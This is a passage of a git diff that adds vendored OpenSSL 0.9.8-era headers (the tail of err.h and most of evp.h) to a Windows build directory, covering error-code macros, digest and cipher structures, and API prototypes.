FIPSerr(f,r) ERR_PUT_error(ERR_LIB_FIPS,(f),(r),__FILE__,__LINE__) +#define CMSerr(f,r) ERR_PUT_error(ERR_LIB_CMS,(f),(r),__FILE__,__LINE__) +#define JPAKEerr(f,r) ERR_PUT_error(ERR_LIB_JPAKE,(f),(r),__FILE__,__LINE__) + +/* Borland C seems too stupid to be able to shift and do longs in + * the pre-processor :-( */ +#define ERR_PACK(l,f,r) (((((unsigned long)l)&0xffL)*0x1000000)| \ + ((((unsigned long)f)&0xfffL)*0x1000)| \ + ((((unsigned long)r)&0xfffL))) +#define ERR_GET_LIB(l) (int)((((unsigned long)l)>>24L)&0xffL) +#define ERR_GET_FUNC(l) (int)((((unsigned long)l)>>12L)&0xfffL) +#define ERR_GET_REASON(l) (int)((l)&0xfffL) +#define ERR_FATAL_ERROR(l) (int)((l)&ERR_R_FATAL) + + +/* OS functions */ +#define SYS_F_FOPEN 1 +#define SYS_F_CONNECT 2 +#define SYS_F_GETSERVBYNAME 3 +#define SYS_F_SOCKET 4 +#define SYS_F_IOCTLSOCKET 5 +#define SYS_F_BIND 6 +#define SYS_F_LISTEN 7 +#define SYS_F_ACCEPT 8 +#define SYS_F_WSASTARTUP 9 /* Winsock stuff */ +#define SYS_F_OPENDIR 10 +#define SYS_F_FREAD 11 + + +/* reasons */ +#define ERR_R_SYS_LIB ERR_LIB_SYS /* 2 */ +#define ERR_R_BN_LIB ERR_LIB_BN /* 3 */ +#define ERR_R_RSA_LIB ERR_LIB_RSA /* 4 */ +#define ERR_R_DH_LIB ERR_LIB_DH /* 5 */ +#define ERR_R_EVP_LIB ERR_LIB_EVP /* 6 */ +#define ERR_R_BUF_LIB ERR_LIB_BUF /* 7 */ +#define ERR_R_OBJ_LIB ERR_LIB_OBJ /* 8 */ +#define ERR_R_PEM_LIB ERR_LIB_PEM /* 9 */ +#define ERR_R_DSA_LIB ERR_LIB_DSA /* 10 */ +#define ERR_R_X509_LIB ERR_LIB_X509 /* 11 */ +#define ERR_R_ASN1_LIB ERR_LIB_ASN1 /* 13 */ +#define ERR_R_CONF_LIB ERR_LIB_CONF /* 14 */ +#define ERR_R_CRYPTO_LIB ERR_LIB_CRYPTO /* 15 */ +#define ERR_R_EC_LIB ERR_LIB_EC /* 16 */ +#define ERR_R_SSL_LIB ERR_LIB_SSL /* 20 */ +#define ERR_R_BIO_LIB ERR_LIB_BIO /* 32 */ +#define ERR_R_PKCS7_LIB ERR_LIB_PKCS7 /* 33 */ +#define ERR_R_X509V3_LIB ERR_LIB_X509V3 /* 34 */ +#define ERR_R_PKCS12_LIB ERR_LIB_PKCS12 /* 35 */ +#define ERR_R_RAND_LIB ERR_LIB_RAND /* 36 */ +#define ERR_R_DSO_LIB ERR_LIB_DSO /* 37 */ +#define ERR_R_ENGINE_LIB ERR_LIB_ENGINE /* 38 */ +#define ERR_R_OCSP_LIB ERR_LIB_OCSP /* 39 */ +#define ERR_R_UI_LIB ERR_LIB_UI /* 40 */ +#define ERR_R_COMP_LIB ERR_LIB_COMP /* 41 */ +#define ERR_R_ECDSA_LIB ERR_LIB_ECDSA /* 42 */ +#define ERR_R_ECDH_LIB ERR_LIB_ECDH /* 43 */ +#define ERR_R_STORE_LIB ERR_LIB_STORE /* 44 */ + +#define ERR_R_NESTED_ASN1_ERROR 58 +#define ERR_R_BAD_ASN1_OBJECT_HEADER 59 +#define ERR_R_BAD_GET_ASN1_OBJECT_CALL 60 +#define ERR_R_EXPECTING_AN_ASN1_SEQUENCE 61 +#define ERR_R_ASN1_LENGTH_MISMATCH 62 +#define ERR_R_MISSING_ASN1_EOS 63 + +/* fatal error */ +#define ERR_R_FATAL 64 +#define ERR_R_MALLOC_FAILURE (1|ERR_R_FATAL) +#define ERR_R_SHOULD_NOT_HAVE_BEEN_CALLED (2|ERR_R_FATAL) +#define ERR_R_PASSED_NULL_PARAMETER (3|ERR_R_FATAL) +#define ERR_R_INTERNAL_ERROR (4|ERR_R_FATAL) +#define ERR_R_DISABLED (5|ERR_R_FATAL) + +/* 99 is the maximum possible ERR_R_... code, higher values + * are reserved for the individual libraries */ + + +typedef struct ERR_string_data_st + { + unsigned long error; + const char *string; + } ERR_STRING_DATA; + +void ERR_put_error(int lib, int func,int reason,const char *file,int line); +void ERR_set_error_data(char *data,int flags); + +unsigned long ERR_get_error(void); +unsigned long ERR_get_error_line(const char **file,int *line); +unsigned long ERR_get_error_line_data(const char **file,int *line, + const char **data, int *flags); +unsigned long ERR_peek_error(void); +unsigned long ERR_peek_error_line(const char **file,int *line); +unsigned long ERR_peek_error_line_data(const char **file,int *line, + const char **data,int *flags); +unsigned long ERR_peek_last_error(void); +unsigned long ERR_peek_last_error_line(const char **file,int *line); +unsigned long ERR_peek_last_error_line_data(const char **file,int *line, + const char **data,int *flags); +void ERR_clear_error(void ); +char *ERR_error_string(unsigned long e,char *buf); +void ERR_error_string_n(unsigned long e, char *buf, size_t len); +const char *ERR_lib_error_string(unsigned long e); +const char *ERR_func_error_string(unsigned long e); +const char *ERR_reason_error_string(unsigned long e); +void ERR_print_errors_cb(int (*cb)(const char *str, size_t len, void *u), + void *u); +#ifndef OPENSSL_NO_FP_API +void ERR_print_errors_fp(FILE *fp); +#endif +#ifndef OPENSSL_NO_BIO +void ERR_print_errors(BIO *bp); +void ERR_add_error_data(int num, ...); +#endif +void ERR_load_strings(int lib,ERR_STRING_DATA str[]); +void ERR_unload_strings(int lib,ERR_STRING_DATA str[]); +void ERR_load_ERR_strings(void); +void ERR_load_crypto_strings(void); +void ERR_free_strings(void); + +void ERR_remove_state(unsigned long pid); /* if zero we look it up */ +ERR_STATE *ERR_get_state(void); + +#ifndef OPENSSL_NO_LHASH +LHASH *ERR_get_string_table(void); +LHASH *ERR_get_err_state_table(void); +void ERR_release_err_state_table(LHASH **hash); +#endif + +int ERR_get_next_error_library(void); + +int ERR_set_mark(void); +int ERR_pop_to_mark(void); + +#ifdef OPENSSL_FIPS +void int_ERR_set_state_func(ERR_STATE *(*get_func)(void), + void (*remove_func)(unsigned long pid)); +void int_ERR_lib_init(void); +#endif + +/* Already defined in ossl_typ.h */ +/* typedef struct st_ERR_FNS ERR_FNS; */ +/* An application can use this function and provide the return value to loaded + * modules that should use the application's ERR state/functionality */ +const ERR_FNS *ERR_get_implementation(void); +/* A loaded module should call this function prior to any ERR operations using + * the application's "ERR_FNS". */ +int ERR_set_implementation(const ERR_FNS *fns); + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/winstuff/openssl/evp.h b/winstuff/openssl/evp.h new file mode 100644 index 0000000..79c0971 --- /dev/null +++ b/winstuff/openssl/evp.h @@ -0,0 +1,1059 @@ +/* crypto/evp/evp.h */ +/* Copyright (C) 1995-1998 Eric Young (eay@cryptsoft.com) + * All rights reserved. + * + * This package is an SSL implementation written + * by Eric Young (eay@cryptsoft.com). + * The implementation was written so as to conform with Netscapes SSL. + * + * This library is free for commercial and non-commercial use as long as + * the following conditions are aheared to. The following conditions + * apply to all code found in this distribution, be it the RC4, RSA, + * lhash, DES, etc., code; not just the SSL code. The SSL documentation + * included with this distribution is covered by the same copyright terms + * except that the holder is Tim Hudson (tjh@cryptsoft.com). + * + * Copyright remains Eric Young's, and as such any Copyright notices in + * the code are not to be removed. + * If this package is used in a product, Eric Young should be given attribution + * as the author of the parts of the library used. + * This can be in the form of a textual message at program startup or + * in documentation (online or textual) provided with the package. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * "This product includes cryptographic software written by + * Eric Young (eay@cryptsoft.com)" + * The word 'cryptographic' can be left out if the rouines from the library + * being used are not cryptographic related :-). + * 4. If you include any Windows specific code (or a derivative thereof) from + * the apps directory (application code) you must include an acknowledgement: + * "This product includes software written by Tim Hudson (tjh@cryptsoft.com)" + * + * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * The licence and distribution terms for any publically available version or + * derivative of this code cannot be changed. i.e. this code cannot simply be + * copied and put under another distribution licence + * [including the GNU Public Licence.] + */ + +#ifndef HEADER_ENVELOPE_H +#define HEADER_ENVELOPE_H + +#ifdef OPENSSL_ALGORITHM_DEFINES +# include +#else +# define OPENSSL_ALGORITHM_DEFINES +# include +# undef OPENSSL_ALGORITHM_DEFINES +#endif + +#include + +#include + +#ifndef OPENSSL_NO_BIO +#include +#endif + +#ifdef OPENSSL_FIPS +#include +#endif + +/* +#define EVP_RC2_KEY_SIZE 16 +#define EVP_RC4_KEY_SIZE 16 +#define EVP_BLOWFISH_KEY_SIZE 16 +#define EVP_CAST5_KEY_SIZE 16 +#define EVP_RC5_32_12_16_KEY_SIZE 16 +*/ +#define EVP_MAX_MD_SIZE 64 /* longest known is SHA512 */ +#define EVP_MAX_KEY_LENGTH 32 +#define EVP_MAX_IV_LENGTH 16 +#define EVP_MAX_BLOCK_LENGTH 32 + +#define PKCS5_SALT_LEN 8 +/* Default PKCS#5 iteration count */ +#define PKCS5_DEFAULT_ITER 2048 + +#include + +#define EVP_PK_RSA 0x0001 +#define EVP_PK_DSA 0x0002 +#define EVP_PK_DH 0x0004 +#define EVP_PK_EC 0x0008 +#define EVP_PKT_SIGN 0x0010 +#define EVP_PKT_ENC 0x0020 +#define EVP_PKT_EXCH 0x0040 +#define EVP_PKS_RSA 0x0100 +#define EVP_PKS_DSA 0x0200 +#define EVP_PKS_EC 0x0400 +#define EVP_PKT_EXP 0x1000 /* <= 512 bit key */ + +#define EVP_PKEY_NONE NID_undef +#define EVP_PKEY_RSA NID_rsaEncryption +#define EVP_PKEY_RSA2 NID_rsa +#define EVP_PKEY_DSA NID_dsa +#define EVP_PKEY_DSA1 NID_dsa_2 +#define EVP_PKEY_DSA2 NID_dsaWithSHA +#define EVP_PKEY_DSA3 NID_dsaWithSHA1 +#define EVP_PKEY_DSA4 NID_dsaWithSHA1_2 +#define EVP_PKEY_DH NID_dhKeyAgreement +#define EVP_PKEY_EC NID_X9_62_id_ecPublicKey + +#ifdef __cplusplus +extern "C" { +#endif + +/* Type needs to be a bit field + * Sub-type needs to be for variations on the method, as in, can it do + * arbitrary encryption.... */ +struct evp_pkey_st + { + int type; + int save_type; + int references; + union { + char *ptr; +#ifndef OPENSSL_NO_RSA + struct rsa_st *rsa; /* RSA */ +#endif +#ifndef OPENSSL_NO_DSA + struct dsa_st *dsa; /* DSA */ +#endif +#ifndef OPENSSL_NO_DH + struct dh_st *dh; /* DH */ +#endif +#ifndef OPENSSL_NO_EC + struct ec_key_st *ec; /* ECC */ +#endif + } pkey; + int save_parameters; + STACK_OF(X509_ATTRIBUTE) *attributes; /* [ 0 ] */ + } /* EVP_PKEY */; + +#define EVP_PKEY_MO_SIGN 0x0001 +#define EVP_PKEY_MO_VERIFY 0x0002 +#define EVP_PKEY_MO_ENCRYPT 0x0004 +#define EVP_PKEY_MO_DECRYPT 0x0008 + +#if 0 +/* This structure is required to tie the message digest and signing together. + * The lookup can be done by md/pkey_method, oid, oid/pkey_method, or + * oid, md and pkey. + * This is required because for various smart-card perform the digest and + * signing/verification on-board. To handle this case, the specific + * EVP_MD and EVP_PKEY_METHODs need to be closely associated. + * When a PKEY is created, it will have a EVP_PKEY_METHOD associated with it. + * This can either be software or a token to provide the required low level + * routines. + */ +typedef struct evp_pkey_md_st + { + int oid; + EVP_MD *md; + EVP_PKEY_METHOD *pkey; + } EVP_PKEY_MD; + +#define EVP_rsa_md2() \ + EVP_PKEY_MD_add(NID_md2WithRSAEncryption,\ + EVP_rsa_pkcs1(),EVP_md2()) +#define EVP_rsa_md5() \ + EVP_PKEY_MD_add(NID_md5WithRSAEncryption,\ + EVP_rsa_pkcs1(),EVP_md5()) +#define EVP_rsa_sha0() \ + EVP_PKEY_MD_add(NID_shaWithRSAEncryption,\ + EVP_rsa_pkcs1(),EVP_sha()) +#define EVP_rsa_sha1() \ + EVP_PKEY_MD_add(NID_sha1WithRSAEncryption,\ + EVP_rsa_pkcs1(),EVP_sha1()) +#define EVP_rsa_ripemd160() \ + EVP_PKEY_MD_add(NID_ripemd160WithRSA,\ + EVP_rsa_pkcs1(),EVP_ripemd160()) +#define EVP_rsa_mdc2() \ + EVP_PKEY_MD_add(NID_mdc2WithRSA,\ + EVP_rsa_octet_string(),EVP_mdc2()) +#define EVP_dsa_sha() \ + EVP_PKEY_MD_add(NID_dsaWithSHA,\ + EVP_dsa(),EVP_sha()) +#define EVP_dsa_sha1() \ + EVP_PKEY_MD_add(NID_dsaWithSHA1,\ + EVP_dsa(),EVP_sha1()) + +typedef struct evp_pkey_method_st + { + char *name; + int flags; + int type; /* RSA, DSA, an SSLeay specific constant */ + int oid; /* For the pub-key type */ + int encrypt_oid; /* pub/priv key encryption */ + + int (*sign)(); + int (*verify)(); + struct { + int (*set)(); /* get and/or set the underlying type */ + int (*get)(); + int (*encrypt)(); + int (*decrypt)(); + int (*i2d)(); + int (*d2i)(); + int (*dup)(); + } pub,priv; + int (*set_asn1_parameters)(); + int (*get_asn1_parameters)(); + } EVP_PKEY_METHOD; +#endif + +#ifndef EVP_MD +struct env_md_st + { + int type; + int pkey_type; + int md_size; + unsigned long flags; + int (*init)(EVP_MD_CTX *ctx); + int (*update)(EVP_MD_CTX *ctx,const void *data,size_t count); + int (*final)(EVP_MD_CTX *ctx,unsigned char *md); + int (*copy)(EVP_MD_CTX *to,const EVP_MD_CTX *from); + int (*cleanup)(EVP_MD_CTX *ctx); + + /* FIXME: prototype these some day */ + int (*sign)(int type, const unsigned char *m, unsigned int m_length, + unsigned char *sigret, unsigned int *siglen, void *key); + int (*verify)(int type, const unsigned char *m, unsigned int m_length, + const unsigned char *sigbuf, unsigned int siglen, + void *key); + int required_pkey_type[5]; /*EVP_PKEY_xxx */ + int block_size; + int ctx_size; /* how big does the ctx->md_data need to be */ + } /* EVP_MD */; + +typedef int evp_sign_method(int type,const unsigned char *m, + unsigned int m_length,unsigned char *sigret, + unsigned int *siglen, void *key); +typedef int evp_verify_method(int type,const unsigned char *m, + unsigned int m_length,const unsigned char *sigbuf, + unsigned int siglen, void *key); + +typedef struct + { + EVP_MD_CTX *mctx; + void *key; + } EVP_MD_SVCTX; + +#define EVP_MD_FLAG_ONESHOT 0x0001 /* digest can only handle a single + * block */ + +#define EVP_MD_FLAG_FIPS 0x0400 /* Note if suitable for use in FIPS mode */ + +#define EVP_MD_FLAG_SVCTX 0x0800 /* pass EVP_MD_SVCTX to sign/verify */ + +#define EVP_PKEY_NULL_method NULL,NULL,{0,0,0,0} + +#ifndef OPENSSL_NO_DSA +#define EVP_PKEY_DSA_method (evp_sign_method *)DSA_sign, \ + (evp_verify_method *)DSA_verify, \ + {EVP_PKEY_DSA,EVP_PKEY_DSA2,EVP_PKEY_DSA3, \ + EVP_PKEY_DSA4,0} +#else +#define EVP_PKEY_DSA_method EVP_PKEY_NULL_method +#endif + +#ifndef OPENSSL_NO_ECDSA +#define EVP_PKEY_ECDSA_method (evp_sign_method *)ECDSA_sign, \ + (evp_verify_method *)ECDSA_verify, \ + {EVP_PKEY_EC,0,0,0} +#else +#define EVP_PKEY_ECDSA_method EVP_PKEY_NULL_method +#endif + +#ifndef OPENSSL_NO_RSA +#define EVP_PKEY_RSA_method (evp_sign_method *)RSA_sign, \ + (evp_verify_method *)RSA_verify, \ + {EVP_PKEY_RSA,EVP_PKEY_RSA2,0,0} +#define EVP_PKEY_RSA_ASN1_OCTET_STRING_method \ + (evp_sign_method *)RSA_sign_ASN1_OCTET_STRING, \ + (evp_verify_method *)RSA_verify_ASN1_OCTET_STRING, \ + {EVP_PKEY_RSA,EVP_PKEY_RSA2,0,0} +#else +#define EVP_PKEY_RSA_method EVP_PKEY_NULL_method +#define EVP_PKEY_RSA_ASN1_OCTET_STRING_method EVP_PKEY_NULL_method +#endif + +#endif /* !EVP_MD */ + +struct env_md_ctx_st + { + const EVP_MD *digest; + ENGINE *engine; /* functional reference if 'digest' is ENGINE-provided */ + unsigned long flags; + void *md_data; + } /* EVP_MD_CTX */; + +/* values for EVP_MD_CTX flags */ + +#define EVP_MD_CTX_FLAG_ONESHOT 0x0001 /* digest update will be called + * once only */ +#define EVP_MD_CTX_FLAG_CLEANED 0x0002 /* context has already been + * cleaned */ +#define EVP_MD_CTX_FLAG_REUSE 0x0004 /* Don't free up ctx->md_data + * in EVP_MD_CTX_cleanup */ +#define EVP_MD_CTX_FLAG_NON_FIPS_ALLOW 0x0008 /* Allow use of non FIPS digest + * in FIPS mode */ + +#define EVP_MD_CTX_FLAG_PAD_MASK 0xF0 /* RSA mode to use */ +#define EVP_MD_CTX_FLAG_PAD_PKCS1 0x00 /* PKCS#1 v1.5 mode */ +#define EVP_MD_CTX_FLAG_PAD_X931 0x10 /* X9.31 mode */ +#define EVP_MD_CTX_FLAG_PAD_PSS 0x20 /* PSS mode */ +#define M_EVP_MD_CTX_FLAG_PSS_SALT(ctx) \ + ((ctx->flags>>16) &0xFFFF) /* seed length */ +#define EVP_MD_CTX_FLAG_PSS_MDLEN 0xFFFF /* salt len same as digest */ +#define EVP_MD_CTX_FLAG_PSS_MREC 0xFFFE /* salt max or auto recovered */ + +struct evp_cipher_st + { + int nid; + int block_size; + int key_len; /* Default value for variable length ciphers */ + int iv_len; + unsigned long flags; /* Various flags */ + int (*init)(EVP_CIPHER_CTX *ctx, const unsigned char *key, + const unsigned char *iv, int enc); /* init key */ + int (*do_cipher)(EVP_CIPHER_CTX *ctx, unsigned char *out, + const unsigned char *in, unsigned int inl);/* encrypt/decrypt data */ + int (*cleanup)(EVP_CIPHER_CTX *); /* cleanup ctx */ + int ctx_size; /* how big ctx->cipher_data needs to be */ + int (*set_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *); /* Populate a ASN1_TYPE with parameters */ + int (*get_asn1_parameters)(EVP_CIPHER_CTX *, ASN1_TYPE *); /* Get parameters from a ASN1_TYPE */ + int (*ctrl)(EVP_CIPHER_CTX *, int type, int arg, void *ptr); /* Miscellaneous operations */ + void *app_data; /* Application data */ + } /* EVP_CIPHER */; + +/* Values for cipher flags */ + +/* Modes for ciphers */ + +#define EVP_CIPH_STREAM_CIPHER 0x0 +#define EVP_CIPH_ECB_MODE 0x1 +#define EVP_CIPH_CBC_MODE 0x2 +#define EVP_CIPH_CFB_MODE 0x3 +#define EVP_CIPH_OFB_MODE 0x4 +#define EVP_CIPH_MODE 0x7 +/* Set if variable length cipher */ +#define EVP_CIPH_VARIABLE_LENGTH 0x8 +/* Set if the iv handling should be done by the cipher itself */ +#define EVP_CIPH_CUSTOM_IV 0x10 +/* Set if the cipher's init() function should be called if key is NULL */ +#define EVP_CIPH_ALWAYS_CALL_INIT 0x20 +/* Call ctrl() to init cipher parameters */ +#define EVP_CIPH_CTRL_INIT 0x40 +/* Don't use standard key length function */ +#define EVP_CIPH_CUSTOM_KEY_LENGTH 0x80 +/* Don't use standard block padding */ +#define EVP_CIPH_NO_PADDING 0x100 +/* cipher handles random key generation */ +#define EVP_CIPH_RAND_KEY 0x200 +/* Note if suitable for use in FIPS mode */ +#define EVP_CIPH_FLAG_FIPS 0x400 +/* Allow non FIPS cipher in FIPS mode */ +#define EVP_CIPH_FLAG_NON_FIPS_ALLOW 0x800 +/* Allow use default ASN1 get/set iv */ +#define EVP_CIPH_FLAG_DEFAULT_ASN1 0x1000 +/* Buffer length in bits not bytes: CFB1 mode only */ +#define EVP_CIPH_FLAG_LENGTH_BITS 0x2000 + +/* ctrl() values */ + +#define EVP_CTRL_INIT 0x0 +#define EVP_CTRL_SET_KEY_LENGTH 0x1 +#define EVP_CTRL_GET_RC2_KEY_BITS 0x2 +#define EVP_CTRL_SET_RC2_KEY_BITS 0x3 +#define EVP_CTRL_GET_RC5_ROUNDS 0x4 +#define EVP_CTRL_SET_RC5_ROUNDS 0x5 +#define EVP_CTRL_RAND_KEY 0x6 + +typedef struct evp_cipher_info_st + { + const EVP_CIPHER *cipher; + unsigned char iv[EVP_MAX_IV_LENGTH]; + } EVP_CIPHER_INFO; + +struct evp_cipher_ctx_st + { + const EVP_CIPHER *cipher; + ENGINE *engine; /* functional reference if 'cipher' is ENGINE-provided */ + int encrypt; /* encrypt or decrypt */ + int buf_len; /* number we have left */ + + unsigned char oiv[EVP_MAX_IV_LENGTH]; /* original iv */ + unsigned char iv[EVP_MAX_IV_LENGTH]; /* working iv */ + unsigned char buf[EVP_MAX_BLOCK_LENGTH];/* saved partial block */ + int num; /* used by cfb/ofb mode */ + + void *app_data; /* application stuff */ + int key_len; /* May change for variable length cipher */ + unsigned long flags; /* Various flags */ + void *cipher_data; /* per EVP data */ + int final_used; + int block_mask; + unsigned char final[EVP_MAX_BLOCK_LENGTH];/* possible final block */ + } /* EVP_CIPHER_CTX */; + +typedef struct evp_Encode_Ctx_st + { + int num; /* number saved in a partial encode/decode */ + int length; /* The length is either the output line length + * (in input bytes) or the shortest input line + * length that is ok. Once decoding begins, + * the length is adjusted up each time a longer + * line is decoded */ + unsigned char enc_data[80]; /* data to encode */ + int line_num; /* number read on current line */ + int expect_nl; + } EVP_ENCODE_CTX; + +/* Password based encryption function */ +typedef int (EVP_PBE_KEYGEN)(EVP_CIPHER_CTX *ctx, const char *pass, int passlen, + ASN1_TYPE *param, const EVP_CIPHER *cipher, + const EVP_MD *md, int en_de); + +#ifndef OPENSSL_NO_RSA +#define EVP_PKEY_assign_RSA(pkey,rsa) EVP_PKEY_assign((pkey),EVP_PKEY_RSA,\ + (char *)(rsa)) +#endif + +#ifndef OPENSSL_NO_DSA +#define EVP_PKEY_assign_DSA(pkey,dsa) EVP_PKEY_assign((pkey),EVP_PKEY_DSA,\ + (char *)(dsa)) +#endif + +#ifndef OPENSSL_NO_DH +#define EVP_PKEY_assign_DH(pkey,dh) EVP_PKEY_assign((pkey),EVP_PKEY_DH,\ + (char *)(dh)) +#endif + +#ifndef OPENSSL_NO_EC +#define EVP_PKEY_assign_EC_KEY(pkey,eckey) EVP_PKEY_assign((pkey),EVP_PKEY_EC,\ + (char *)(eckey)) +#endif + +/* Add some extra combinations */ +#define EVP_get_digestbynid(a) EVP_get_digestbyname(OBJ_nid2sn(a)) +#define EVP_get_digestbyobj(a) EVP_get_digestbynid(OBJ_obj2nid(a)) +#define EVP_get_cipherbynid(a) EVP_get_cipherbyname(OBJ_nid2sn(a)) +#define EVP_get_cipherbyobj(a) EVP_get_cipherbynid(OBJ_obj2nid(a)) + +/* Macros to reduce FIPS dependencies: do NOT use in applications */ +#define M_EVP_MD_size(e) ((e)->md_size) +#define M_EVP_MD_block_size(e) ((e)->block_size) +#define M_EVP_MD_CTX_set_flags(ctx,flgs) ((ctx)->flags|=(flgs)) +#define M_EVP_MD_CTX_clear_flags(ctx,flgs) ((ctx)->flags&=~(flgs)) +#define M_EVP_MD_CTX_test_flags(ctx,flgs) ((ctx)->flags&(flgs)) +#define M_EVP_MD_type(e) ((e)->type) +#define M_EVP_MD_CTX_type(e) M_EVP_MD_type(M_EVP_MD_CTX_md(e)) +#define M_EVP_MD_CTX_md(e) ((e)->digest) + +#define M_EVP_CIPHER_CTX_set_flags(ctx,flgs) ((ctx)->flags|=(flgs)) + +int EVP_MD_type(const EVP_MD *md); +#define EVP_MD_nid(e) EVP_MD_type(e) +#define EVP_MD_name(e) OBJ_nid2sn(EVP_MD_nid(e)) +int EVP_MD_pkey_type(const EVP_MD *md); +int EVP_MD_size(const EVP_MD *md); +int EVP_MD_block_size(const EVP_MD *md); + +const EVP_MD * EVP_MD_CTX_md(const EVP_MD_CTX *ctx); +#define EVP_MD_CTX_size(e) EVP_MD_size(EVP_MD_CTX_md(e)) +#define EVP_MD_CTX_block_size(e) EVP_MD_block_size(EVP_MD_CTX_md(e)) +#define EVP_MD_CTX_type(e) EVP_MD_type(EVP_MD_CTX_md(e)) + +int EVP_CIPHER_nid(const EVP_CIPHER *cipher); +#define EVP_CIPHER_name(e) OBJ_nid2sn(EVP_CIPHER_nid(e)) +int EVP_CIPHER_block_size(const EVP_CIPHER *cipher); +int EVP_CIPHER_key_length(const EVP_CIPHER *cipher); +int EVP_CIPHER_iv_length(const EVP_CIPHER *cipher); +unsigned long EVP_CIPHER_flags(const EVP_CIPHER *cipher); +#define EVP_CIPHER_mode(e) (EVP_CIPHER_flags(e) & EVP_CIPH_MODE) + +const EVP_CIPHER * EVP_CIPHER_CTX_cipher(const EVP_CIPHER_CTX *ctx); +int EVP_CIPHER_CTX_nid(const EVP_CIPHER_CTX *ctx); +int EVP_CIPHER_CTX_block_size(const EVP_CIPHER_CTX *ctx); +int EVP_CIPHER_CTX_key_length(const EVP_CIPHER_CTX *ctx); +int EVP_CIPHER_CTX_iv_length(const EVP_CIPHER_CTX *ctx); +void * EVP_CIPHER_CTX_get_app_data(const EVP_CIPHER_CTX *ctx); +void EVP_CIPHER_CTX_set_app_data(EVP_CIPHER_CTX *ctx, void *data); +#define EVP_CIPHER_CTX_type(c) EVP_CIPHER_type(EVP_CIPHER_CTX_cipher(c)) +unsigned long EVP_CIPHER_CTX_flags(const EVP_CIPHER_CTX *ctx); +#define EVP_CIPHER_CTX_mode(e) (EVP_CIPHER_CTX_flags(e) & EVP_CIPH_MODE) + +#define EVP_ENCODE_LENGTH(l) (((l+2)/3*4)+(l/48+1)*2+80) +#define EVP_DECODE_LENGTH(l) ((l+3)/4*3+80) + +#define EVP_SignInit_ex(a,b,c) EVP_DigestInit_ex(a,b,c) +#define EVP_SignInit(a,b) EVP_DigestInit(a,b) +#define EVP_SignUpdate(a,b,c) EVP_DigestUpdate(a,b,c) +#define EVP_VerifyInit_ex(a,b,c) EVP_DigestInit_ex(a,b,c) +#define EVP_VerifyInit(a,b) EVP_DigestInit(a,b) +#define EVP_VerifyUpdate(a,b,c) EVP_DigestUpdate(a,b,c) +#define EVP_OpenUpdate(a,b,c,d,e) EVP_DecryptUpdate(a,b,c,d,e) +#define EVP_SealUpdate(a,b,c,d,e) EVP_EncryptUpdate(a,b,c,d,e) + +#ifdef CONST_STRICT +void BIO_set_md(BIO *,const EVP_MD *md); +#else +# define BIO_set_md(b,md) BIO_ctrl(b,BIO_C_SET_MD,0,(char *)md) +#endif +#define BIO_get_md(b,mdp) BIO_ctrl(b,BIO_C_GET_MD,0,(char *)mdp) +#define BIO_get_md_ctx(b,mdcp) BIO_ctrl(b,BIO_C_GET_MD_CTX,0,(char *)mdcp) +#define BIO_set_md_ctx(b,mdcp) BIO_ctrl(b,BIO_C_SET_MD_CTX,0,(char *)mdcp) +#define BIO_get_cipher_status(b) BIO_ctrl(b,BIO_C_GET_CIPHER_STATUS,0,NULL) +#define BIO_get_cipher_ctx(b,c_pp) BIO_ctrl(b,BIO_C_GET_CIPHER_CTX,0,(char *)c_pp) + +int EVP_Cipher(EVP_CIPHER_CTX *c, + unsigned char *out, + const unsigned char *in, + unsigned int inl); + +#define EVP_add_cipher_alias(n,alias) \ + OBJ_NAME_add((alias),OBJ_NAME_TYPE_CIPHER_METH|OBJ_NAME_ALIAS,(n)) +#define EVP_add_digest_alias(n,alias) \ + OBJ_NAME_add((alias),OBJ_NAME_TYPE_MD_METH|OBJ_NAME_ALIAS,(n)) +#define EVP_delete_cipher_alias(alias) \ + OBJ_NAME_remove(alias,OBJ_NAME_TYPE_CIPHER_METH|OBJ_NAME_ALIAS); +#define EVP_delete_digest_alias(alias) \ + OBJ_NAME_remove(alias,OBJ_NAME_TYPE_MD_METH|OBJ_NAME_ALIAS); + +void EVP_MD_CTX_init(EVP_MD_CTX *ctx); +int EVP_MD_CTX_cleanup(EVP_MD_CTX *ctx); +EVP_MD_CTX *EVP_MD_CTX_create(void); +void EVP_MD_CTX_destroy(EVP_MD_CTX *ctx); +int EVP_MD_CTX_copy_ex(EVP_MD_CTX *out,const EVP_MD_CTX *in); +void EVP_MD_CTX_set_flags(EVP_MD_CTX *ctx, int flags); +void EVP_MD_CTX_clear_flags(EVP_MD_CTX *ctx, int flags); +int EVP_MD_CTX_test_flags(const EVP_MD_CTX *ctx,int flags); +int EVP_DigestInit_ex(EVP_MD_CTX *ctx, const EVP_MD *type, ENGINE *impl); +int EVP_DigestUpdate(EVP_MD_CTX *ctx,const void *d, + size_t cnt); +int EVP_DigestFinal_ex(EVP_MD_CTX *ctx,unsigned char *md,unsigned int *s); +int EVP_Digest(const void *data, size_t count, + unsigned char *md, unsigned int *size, const EVP_MD *type, ENGINE *impl); + +int EVP_MD_CTX_copy(EVP_MD_CTX *out,const EVP_MD_CTX *in); +int EVP_DigestInit(EVP_MD_CTX *ctx, const EVP_MD *type); +int 